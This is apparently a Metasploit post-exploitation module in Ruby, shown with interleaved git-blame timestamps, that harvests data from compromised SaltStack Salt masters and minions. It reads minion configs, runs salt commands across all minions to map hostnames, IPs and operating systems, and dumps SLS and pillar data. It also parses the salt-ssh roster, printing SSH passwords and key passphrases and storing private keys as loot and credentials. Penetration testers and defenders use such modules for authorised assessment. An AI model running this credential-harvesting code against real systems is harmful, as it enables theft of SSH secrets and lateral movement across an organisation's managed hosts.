2020-11-24 19:36:58 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'yaml'
class MetasploitModule < Msf :: Post
include Msf :: Post :: File
2023-12-23 13:52:52 -05:00
include Msf :: Exploit :: Local :: Saltstack
2020-11-24 19:36:58 -05:00
def initialize ( info = { } )
super (
update_info (
info ,
2021-05-03 19:34:37 -04:00
'Name' = > 'SaltStack Salt Information Gatherer' ,
2021-04-10 13:46:19 -04:00
'Description' = > %q{
2021-05-03 19:34:37 -04:00
This module gathers information from SaltStack Salt masters and minions.
2021-04-10 13:46:19 -04:00
Data gathered from minions: 1. salt minion config file
Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)
2021-04-30 20:59:54 -04:00
2. minion hostname/ip/os (depending on module settings)
3. SLS
4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed
5. minion config files
6. pillar data
} ,
2020-11-29 07:45:59 -05:00
'Author' = > [
2020-11-24 19:36:58 -05:00
'h00die' ,
'c2Vlcgo'
] ,
2020-11-29 07:45:59 -05:00
'SessionTypes' = > %w[ shell meterpreter ] ,
2023-02-03 18:12:53 +00:00
'License' = > MSF_LICENSE ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'SideEffects' = > [ IOC_IN_LOGS ] ,
'Reliability' = > [ ]
}
2020-11-24 19:36:58 -05:00
)
)
2020-11-28 17:49:32 -05:00
register_options (
[
2020-12-01 17:26:51 -05:00
OptString . new ( 'MINIONS' , [ true , 'Minions Target' , '*' ] ) ,
2020-11-29 07:45:59 -05:00
OptBool . new ( 'GETHOSTNAME' , [ false , 'Gather Hostname from minions' , true ] ) ,
OptBool . new ( 'GETIP' , [ false , 'Gather IP from minions' , true ] ) ,
2021-05-02 08:19:43 -04:00
OptBool . new ( 'GETOS' , [ false , 'Gather OS from minions' , true ] ) ,
OptInt . new ( 'TIMEOUT' , [ true , 'Timeout for salt commands to run' , 120 ] )
2020-11-28 17:49:32 -05:00
]
)
end
2020-12-04 13:29:31 -05:00
def gather_pillars
print_status ( 'Gathering pillar data' )
begin
2021-05-02 08:19:43 -04:00
out = cmd_exec ( 'salt' , " ' #{ datastore [ 'MINIONS' ] } ' --output=yaml pillar.items " , datastore [ 'TIMEOUT' ] )
2020-12-04 13:29:31 -05:00
vprint_status ( out )
results = YAML . safe_load ( out , [ Symbol ] ) # during testing we discovered at times Symbol needs to be loaded
2021-05-03 19:34:37 -04:00
store_path = store_loot ( 'saltstack_pillar_data_gather' , 'application/x-yaml' , session , results . to_yaml , 'pillar_gather.yaml' , 'SaltStack Salt Pillar Gather' )
2021-04-10 13:46:19 -04:00
print_good ( " #{ peer } - pillar data gathering successfully retrieved and saved to #{ store_path } " )
2020-12-04 13:29:31 -05:00
rescue Psych :: SyntaxError
print_error ( 'Unable to process pillar command output' )
return
end
end
2020-11-28 17:49:32 -05:00
def gather_minion_data
2021-05-02 08:19:43 -04:00
print_status ( 'Gathering data from minions (this can take some time)' )
2020-11-28 17:49:32 -05:00
command = [ ]
if datastore [ 'GETHOSTNAME' ]
command << 'network.get_hostname'
end
if datastore [ 'GETIP' ]
2020-11-29 07:45:59 -05:00
# command << 'network.ip_addrs'
2020-11-28 17:49:32 -05:00
command << 'network.interfaces'
end
if datastore [ 'GETOS' ]
2021-04-30 20:59:54 -04:00
command << 'status.version' # seems to work on linux
command << 'system.get_system_info' # seems to work on windows, part of salt.modules.win_system
2020-11-28 17:49:32 -05:00
end
2020-11-29 07:45:59 -05:00
commas = ',' * ( command . length - 1 ) # we need to provide empty arguments for each command
2020-12-01 17:26:51 -05:00
command = " salt ' #{ datastore [ 'MINIONS' ] } ' --output=yaml #{ command . join ( ',' ) } #{ commas } "
2020-11-28 17:49:32 -05:00
begin
2021-05-02 08:19:43 -04:00
out = cmd_exec ( command , nil , datastore [ 'TIMEOUT' ] )
2021-04-30 20:59:54 -04:00
if out == '' || out . nil?
2021-05-02 08:19:43 -04:00
print_error ( 'No results returned. Try increasing the TIMEOUT or decreasing the minions being checked' )
2021-04-30 20:59:54 -04:00
return
end
2020-12-01 17:26:51 -05:00
vprint_status ( out )
2020-12-04 13:29:31 -05:00
results = YAML . safe_load ( out , [ Symbol ] ) # during testing we discovered at times Symbol needs to be loaded
2021-05-03 19:34:37 -04:00
store_path = store_loot ( 'saltstack_minion_data_gather' , 'application/x-yaml' , session , results . to_yaml , 'minion_data_gather.yaml' , 'SaltStack Salt Minion Data Gather' )
2021-04-10 13:46:19 -04:00
print_good ( " #{ peer } - minion data gathering successfully retrieved and saved to #{ store_path } " )
2020-11-28 17:49:32 -05:00
rescue Psych :: SyntaxError
print_error ( 'Unable to process gather command output' )
return
end
2021-04-30 20:59:54 -04:00
return if results == false || results . nil?
2021-05-02 08:19:43 -04:00
return if results . include? ( 'Salt request timed out.' ) || results . include? ( 'Minion did not return.' )
2020-11-29 07:45:59 -05:00
results . each do | _key , result |
2021-05-02 08:19:43 -04:00
# at times the first line may be "Minions returned with non-zero exit code", so we want to skip that
next if result . is_a? String
2020-11-28 17:49:32 -05:00
host_info = {
name : result [ 'network.get_hostname' ] ,
os_flavor : result [ 'status.version' ] ,
2021-05-03 19:34:37 -04:00
comments : " SaltStack Salt minion to #{ session . session_host } "
2020-11-28 17:49:32 -05:00
}
2021-04-30 20:59:54 -04:00
# mac os
2021-05-02 08:19:43 -04:00
if result . key? ( 'system.get_system_info' ) &&
result [ 'system.get_system_info' ] . include? ( 'Traceback' ) &&
result . key? ( 'status.version' ) &&
result [ 'status.version' ] . include? ( 'unsupported on the current operating system' )
2021-04-30 20:59:54 -04:00
host_info [ :os_name ] = 'osx' # taken from lib/msf/core/post/osx/system
2021-05-02 08:19:43 -04:00
host_info [ :os_flavor ] = ''
2021-04-30 20:59:54 -04:00
# windows will throw a traceback error for status.version
2021-05-02 08:19:43 -04:00
elsif result . key? ( 'status.version' ) &&
result [ 'status.version' ] . include? ( 'Traceback' )
2021-04-30 20:59:54 -04:00
info = result [ 'system.get_system_info' ]
host_info [ :os_name ] = info [ 'os_name' ]
host_info [ :os_flavor ] = info [ 'os_version' ]
host_info [ :purpose ] = info [ 'os_type' ]
end
2021-05-02 08:19:43 -04:00
unless datastore [ 'GETIP' ] # if we dont get IP, can't make hosts
print_good ( " Found minion: #{ host_info [ :name ] } - #{ host_info [ :os_flavor ] } " )
next
end
2020-11-28 17:49:32 -05:00
result [ 'network.interfaces' ] . each do | name , interface |
next if name == 'lo'
2021-04-30 20:59:54 -04:00
next if interface [ 'hwaddr' ] == ':::::' # Windows Software Loopback Interface
next unless interface . key? 'inet' # skip if it doesn't have an inet, macos had lots of this
2021-05-02 08:19:43 -04:00
next if interface [ 'inet' ] [ 0 ] [ 'address' ] == '127.0.0.1' # ignore localhost
2020-11-29 07:45:59 -05:00
2020-11-28 17:49:32 -05:00
host_info [ :mac ] = interface [ 'hwaddr' ]
host_info [ :host ] = interface [ 'inet' ] [ 0 ] [ 'address' ] # ignoring inet6
report_host ( host_info )
print_good ( " Found minion: #{ host_info [ :name ] } ( #{ host_info [ :host ] } ) - #{ host_info [ :os_flavor ] } " )
end
end
2020-11-24 19:36:58 -05:00
end
2023-12-23 13:52:52 -05:00
def list_minions_printer
minions = list_minions
return if minions . nil?
2020-11-26 11:11:37 -05:00
tbl = Rex :: Text :: Table . new (
2020-11-29 07:45:59 -05:00
'Header' = > 'Minions List' ,
'Indent' = > 1 ,
2020-11-26 11:11:37 -05:00
'Columns' = > [ 'Status' , 'Minion Name' ]
)
2023-12-23 13:52:52 -05:00
minions . each do | minion |
2020-11-26 11:11:37 -05:00
tbl << [ 'Accepted' , minion ]
end
minions [ 'minions_pre' ] . each do | minion |
tbl << [ 'Unaccepted' , minion ]
end
minions [ 'minions_rejected' ] . each do | minion |
tbl << [ 'Rejected' , minion ]
end
minions [ 'minions_denied' ] . each do | minion |
tbl << [ 'Denied' , minion ]
end
print_good ( tbl . to_s )
end
2020-11-24 19:36:58 -05:00
def minion
2020-11-26 11:11:37 -05:00
print_status ( 'Looking for salt minion config files' )
2020-11-28 17:49:32 -05:00
# https://github.com/saltstack/salt/blob/b427688048fdbee106f910c22ebeb105eb30aa10/doc/ref/configuration/minion.rst#configuring-the-salt-minion
2020-11-29 07:45:59 -05:00
[
2021-05-02 10:01:06 -04:00
'/etc/salt/minion' , # linux, osx
'C://salt//conf//minion' ,
'/usr/local/etc/salt/minion' # freebsd
2021-04-30 20:59:54 -04:00
] . each do | config |
2020-11-25 05:10:39 -05:00
next unless file? ( config )
2020-11-29 07:45:59 -05:00
minion = YAML . safe_load ( read_file ( config ) )
2020-11-24 19:36:58 -05:00
if minion [ 'master' ]
2020-11-26 11:11:37 -05:00
print_good ( " Minion master: #{ minion [ 'master' ] } " )
2020-11-24 19:36:58 -05:00
end
2021-05-03 19:34:37 -04:00
store_path = store_loot ( 'saltstack_minion' , 'application/x-yaml' , session , minion . to_yaml , 'minion.yaml' , 'SaltStack Salt Minion File' )
2021-04-10 13:46:19 -04:00
print_good ( " #{ peer } - minion file successfully retrieved and saved to #{ store_path } " )
2021-05-02 10:01:06 -04:00
break # no need to process more
2020-11-24 19:36:58 -05:00
end
end
def master
2023-12-23 13:52:52 -05:00
list_minions_printer
2021-04-10 13:46:19 -04:00
gather_minion_data if datastore [ 'GETOS' ] || datastore [ 'GETHOSTNAME' ] || datastore [ 'GETIP' ]
2020-11-24 19:36:58 -05:00
# get sls files
2020-11-26 11:11:37 -05:00
unless command_exists? ( 'salt' )
print_error ( 'salt not found on system' )
return
end
2021-04-10 13:46:19 -04:00
print_status ( 'Showing SLS' )
2021-05-02 08:19:43 -04:00
output = cmd_exec ( 'salt' , " ' #{ datastore [ 'MINIONS' ] } ' state.show_sls '*' " , datastore [ 'TIMEOUT' ] )
2021-05-03 19:34:37 -04:00
store_path = store_loot ( 'saltstack_sls' , 'text/plain' , session , output , 'sls.txt' , 'SaltStack Salt Master SLS Output' )
2021-04-10 13:46:19 -04:00
print_good ( " #{ peer } - SLS output successfully retrieved and saved to #{ store_path } " )
2020-11-24 19:36:58 -05:00
# get roster
2020-11-28 17:49:32 -05:00
# https://github.com/saltstack/salt/blob/023528b3b1b108982989c4872c138d1796821752/doc/topics/ssh/roster.rst#salt-rosters
2020-11-26 11:11:37 -05:00
print_status ( 'Loading roster' )
2020-11-29 07:45:59 -05:00
priv_values = { }
2020-11-26 11:11:37 -05:00
[ '/etc/salt/roster' ] . each do | config |
next unless file? ( config )
2020-11-29 07:45:59 -05:00
2020-11-26 11:11:37 -05:00
begin
2020-11-29 07:45:59 -05:00
minions = YAML . safe_load ( read_file ( config ) )
2020-11-26 11:11:37 -05:00
rescue Psych :: SyntaxError
print_error ( " Unable to load #{ config } " )
next
2020-11-24 19:36:58 -05:00
end
2021-05-15 09:38:15 -04:00
store_path = store_loot ( 'saltstack_roster' , 'application/x-yaml' , session , minion . to_yaml , 'roster.yaml' , 'SaltStack Salt Roster File' )
print_good ( " #{ peer } - roster file successfully retrieved and saved to #{ store_path } " )
next if minions . nil?
2020-11-29 07:45:59 -05:00
minions . each do | name , minion |
2020-11-28 17:49:32 -05:00
host = minion [ 'host' ] # aka ip
2020-11-26 11:11:37 -05:00
user = minion [ 'user' ]
2020-11-29 07:45:59 -05:00
port = minion [ 'port' ] || 22
2020-11-26 11:11:37 -05:00
passwd = minion [ 'passwd' ]
2020-11-29 07:45:59 -05:00
# sudo = minion['sudo'] || false
2020-11-26 11:11:37 -05:00
priv = minion [ 'priv' ] || false
2020-11-28 17:49:32 -05:00
priv_pass = minion [ 'priv_passwd' ] || false
2020-11-29 07:45:59 -05:00
print_good ( " Found SSH minion: #{ name } ( #{ host } ) " )
# make a special print for encrypted ssh keys
unless priv_pass == false
print_good ( " SSH key #{ priv } password #{ priv_pass } " )
report_note ( host : host ,
proto : 'TCP' ,
port : port ,
type : 'SSH Key Password' ,
data : " #{ priv } => #{ priv_pass } " )
2020-11-26 11:11:37 -05:00
end
2020-11-29 07:45:59 -05:00
2020-11-28 17:49:32 -05:00
host_info = {
name : name ,
2021-05-03 19:34:37 -04:00
comments : " SaltStack Salt ssh minion to #{ session . session_host } " ,
2020-11-28 17:49:32 -05:00
host : host
}
report_host ( host_info )
2020-11-29 07:45:59 -05:00
cred = {
address : host ,
port : port ,
protocol : 'tcp' ,
workspace_id : myworkspace_id ,
origin_type : :service ,
private_type : :password ,
service_name : 'SSH' ,
module_fullname : fullname ,
username : user ,
status : Metasploit :: Model :: Login :: Status :: UNTRIED
}
if passwd
cred [ :private_data ] = passwd
create_credential_and_login ( cred )
next
end
# handle ssh keys if it wasn't a password
cred [ :private_type ] = :ssh_key
if priv_values [ priv ]
cred [ :private_data ] = priv_values [ priv ]
create_credential_and_login ( cred )
next
end
unless file? ( priv )
print_error ( " Unable to find salt-ssh priv key #{ priv } " )
next
end
input = read_file ( priv )
2021-05-03 19:34:37 -04:00
store_path = store_loot ( 'ssh_key' , 'plain/txt' , session , input , 'salt-ssh.rsa' , 'SaltStack Salt SSH Private Key' )
2020-11-29 07:45:59 -05:00
print_good ( " #{ priv } stored to #{ store_path } " )
priv_values [ priv ] = input
cred [ :private_data ] = input
create_credential_and_login ( cred )
2020-11-28 17:49:32 -05:00
end
2020-11-24 19:36:58 -05:00
end
2020-12-04 13:29:31 -05:00
gather_pillars
2020-11-24 19:36:58 -05:00
end
def run
2020-11-25 05:10:39 -05:00
if session . platform == 'windows'
2021-05-02 10:01:06 -04:00
# the docs dont show that you can run as a master, nor was the master .bat included as of this writing
minion
2020-11-25 05:10:39 -05:00
end
2020-11-26 11:11:37 -05:00
minion if command_exists? ( 'salt-minion' )
master if command_exists? ( 'salt-master' )
2020-11-24 19:36:58 -05:00
end
end